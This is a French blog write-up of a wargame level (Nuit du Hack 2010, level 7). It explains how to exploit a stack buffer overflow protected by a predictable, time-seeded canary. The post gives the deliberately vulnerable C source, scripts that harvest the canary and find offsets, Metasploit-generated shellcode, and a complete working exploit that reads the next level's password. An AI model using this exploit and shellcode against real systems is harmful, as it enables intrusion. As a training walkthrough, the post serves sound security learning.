samedi 24 juillet 2010

level7 wargame NDH2010 - tutoriel exploitation buffer overflow avec canary faible

Cet article décrit la résolutions de l'épreuve n°7 du wargame de la Nuit du hack 2010. Il s'agit d'un buffer overflow. Ici, une protection sous forme de canary est ajoutée: Un entier "aléatoire" est placé sur la pile avant l'adresse de retour et contrôlé avant la sortie de la fonction. S'il est différent de la valeur attendue, le programme quitte.
L'intérêt de cet article réside dans l'exploitation d'un canary prévisible. De plus, nous utilisons deux astuces proposées par m_101_: l'utilisation de l'outil pattern de Metasploit, et l'obtention de l'adresse de retour grace à dmesg.


solution

level7@srv-public:~$ cat /tmp/exploit.sh
#!/bin/sh
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
ADDRESS="\xd0\xf6\xff\xbf"
PAYLOAD="\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31\x4a\x6d\x4d\x50\x41\x41"
STRING="'A'x64 . \"$COOKIEASCII\" . 'A'x12 . \"$ADDRESS\" . \"\x90\"x116 . \"$PAYLOAD\""
./level7 $(perl -e "print $STRING")

l'erreur de programmation


voici le code source:
level7@srv-public:~$ cat ./level7.c
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

unsigned int secret;

int vuln(char *arg) {
    unsigned int cookie = secret;
    char tmp[64] = {'\0'};

    strcpy(tmp, arg);
    if(cookie!=secret) {
        printf("It's not my cookie :(\n");
        exit(0);
    }

    return 1337;
}

int main(int argc, char *argv[])
{
    if(argc != 2) {
        printf("%s \n", argv[0]);
        exit(0);
    }

    srand(time(NULL));
    secret = rand();

    printf("GooD Boy :) %08X\n", secret);

    vuln(argv[1]);
    return 0;
}

L'erreur de programmation provient du sel fourni à la fonction de création du canary. Voyons cela.

à tout hasard, vérifions si nous controlons la date du systeme (il ne faut pas trop rêver...):
level7@srv-public:~$ date 07231453
date: ne peut initialiser la date.: Operation non permise
vendredi 23 juillet 2010, 14:53:00 (UTC+0200)

Prenons quelques informations sur les fonctions time, srand et rand. Nous apprenons une information très intéressante concernant time: http://www.cprogramming.com/fod/time.html
time()
Prototype: time_t time(time_t* timer);
Header File: time.h (C) or ctime (C++)
ANSI: C and C++
Explanation: Returns and sets the passed in variable to the number of seconds that have passed since 00:00:00 GMT January 1, 1970. If NULL is passed in, it will work as if it accepted nothing and return the same value.
Cela signifie que time renvoie un résultat en secondes;
donc srand(time(NULL)) renverra toujours le même résultat pendant une seconde;
donc rand() renverra toujours le même résultat pendant une seconde.
Vérifions cela:
level7@srv-public:~$ cat /tmp/test.sh
#!/bin/bash
while true; do
  ./level7 A
  sleep 0.3
done
level7@srv-public:~$ bash /tmp/test.sh
GooD Boy :) 6E2CBE94
GooD Boy :) 5C618C75
GooD Boy :) 5C618C75
GooD Boy :) 5C618C75
GooD Boy :) 49AB298D
GooD Boy :) 49AB298D
GooD Boy :) 49AB298D
GooD Boy :) 37DE6CA6
GooD Boy :) 37DE6CA6
GooD Boy :) 37DE6CA6
GooD Boy :) 25A665FB
GooD Boy :) 25A665FB
GooD Boy :) 25A665FB
^C
Nous disposons donc du secret pendant une seconde :)

remarque: pour récupérer le secret:
level7@srv-public:~$ ./level7 A | cut -d ' ' -f 4
SECRETDUMOMENT
et pour récupérer le secret en codes ASCII:
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"

payload

Utilisons metasploit:
$ msfconsole

msf > use payload/linux/x86/exec

msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed

msf payload(exec) > set CMD "cat ../level8/passwd"
CMD => cat ../level8/passwd

msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level8/passwd
buf =
"\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62" +
"\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78" +
"\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42" +
"\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45" +
"\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70" +
"\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75" +
"\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53" +
"\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31" +
"\x4a\x6d\x4d\x50\x41\x41"


notre payload:
"\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31\x4a\x6d\x4d\x50\x41\x41"


place du cookie

Nous allons écrire un script qui cherche où placer le cookie dans notre chaîne de caractère:

#!/bin/sh
INDEX=0
NOP="\x90"

OUTPUT="cookie"
while [ ! -z "$(echo $OUTPUT | grep cookie)" ]
do
  COOKIE="$(./level7 A| cut -d ' ' -f 4)"
  COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
  INDEX=$(($INDEX+1))
  STRING="\"$NOP\"x$INDEX . \"$COOKIEASCII\" . \"$NOP\"x$((200-4+174-$INDEX))"
  OUTPUT=$(./level7 $(perl -e "print $STRING"))
done
echo index reached: $INDEX
Nous trouvons index = 64.

placer l'adresse de retour

Merci m_101_:
- pour l'astuce du pattern: http://binholic.blogspot.com/2010/07/simple-buffer-overflow-offset.html
- et celle du dmesg:  http://binholic.blogspot.com/2010/07/simple-buffer-overflow-ndh2010-level-1.html

créons un pattern grace à Metasploit. L'outil nécessite ruby (sur notre ordinateur)
$ sudo apt-get install ruby
$ /opt/metasploit3/msf3/tools/pattern_create.rb 306
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1
remarque: 200-4+174-64 = 306

A présent cherchons l'emplacement de l'adresse de retour:
level7@srv-public:~$ cat /tmp/go.sh
#!/bin/sh
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
STRING="'A'x64 . \"$COOKIEASCII\" . \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1\""
./level7 $(perl -e "print $STRING")

level7@srv-public:~$ /tmp/go.sh
GooD Boy :) 6E746F94
/tmp/go.sh: line 5: 12265 Erreur de segmentation  ./level7 $(perl -e "print $STRING")

level7@srv-public:~$ dmesg | grep level7 | sed -n '$p'
[2729765.436626] level7[12265]: segfault at 41346141 ip 41346141 sp bffff6c0 error 4

N'oublions pas d'inverser les caractères fournis par dmesg (pile en little endian):
$ ruby /opt/metasploit3/msf3/tools/pattern_offset.rb Aa4A
12

remarque: une table ascii facile:
$ sudo apt-get install ascii

D'où notre exploit:
[ padding ] [ canary ] [padding ] [ address +16 ]        [ NOP ]           [payload ]
     64                4               12                  4                  200-8-12-64             174

adresse de retour


Voici notre exploit sans l'adresse de retour:
level7@srv-public:~$ cat /tmp/findaddress.sh
#!/bin/sh
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
ADDRESS="AAAA"
PAYLOAD="\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31\x4a\x6d\x4d\x50\x41\x41"
STRING="'A'x64 . \"$COOKIEASCII\" . 'A'x12 . \"$ADDRESS\" . \"\x90\"x116 . \"$PAYLOAD\""
./level7 $(perl -e "print $STRING")
exécutons le:
level7@srv-public:~$ chmod +x /tmp/findaddress.sh

level7@srv-public:~$ /tmp/findaddress.sh
GooD Boy :) 3C6FE0D5
/tmp/findaddress.sh: line 7: 12653 Erreur de segmentation  ./level7 $(perl -e "print $STRING")
et cherchons le dernier message d'erreur:
level7@srv-public:~$ dmesg | grep level7 | sed -n '$p'
[2732073.552256] level7[12653]: segfault at 41414141 ip 41414141 sp bffff6c0 error 4

Nous avons notre adresse de retour 0xbffff6c0.

exploitation

Voici notre exploit:
level7@srv-public:~$ cat /tmp/exploit.sh
#!/bin/sh
COOKIE="$(./level7 A| cut -d ' ' -f 4)"
COOKIEASCII="\x$(echo $COOKIE | cut -c 7-8)\x$(echo $COOKIE | cut -c 5-6)\x$(echo $COOKIE | cut -c 3-4)\x$(echo $COOKIE | cut -c 1-2)"
ADDRESS="\xd0\xf6\xff\xbf"
PAYLOAD="\x89\xe5\xdb\xc1\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x42\x78\x4a\x39\x43\x62\x45\x36\x45\x38\x44\x6d\x50\x63\x4f\x79\x48\x67\x51\x78\x44\x6f\x50\x73\x42\x48\x47\x70\x51\x78\x44\x6f\x42\x42\x51\x79\x42\x4e\x4d\x59\x49\x73\x50\x52\x49\x78\x45\x45\x43\x30\x43\x30\x43\x30\x50\x63\x45\x31\x51\x64\x45\x70\x44\x6e\x44\x6e\x46\x4f\x42\x4c\x50\x65\x43\x46\x51\x75\x50\x6c\x45\x68\x44\x6f\x42\x50\x45\x31\x42\x53\x42\x53\x43\x47\x45\x34\x43\x30\x46\x37\x42\x73\x4f\x79\x4d\x31\x4a\x6d\x4d\x50\x41\x41"
STRING="'A'x64 . \"$COOKIEASCII\" . 'A'x12 . \"$ADDRESS\" . \"\x90\"x116 . \"$PAYLOAD\""
./level7 $(perl -e "print $STRING")

exécutons le:
level7@srv-public:~$ chmod +x /tmp/exploit.sh

level7@srv-public:~$ /tmp/exploit.sh
GooD Boy :) 51FA2696
MOT DE PASSE

références

- time - http://www.cprogramming.com/fod/time.html
- pattern metasploit - m_101_ - http://binholic.blogspot.com/2010/07/simple-buffer-overflow-offset.html
- dmesg - m_101_ - http://binholic.blogspot.com/2010/07/simple-buffer-overflow-ndh2010-level-1.html

Aucun commentaire:

Enregistrer un commentaire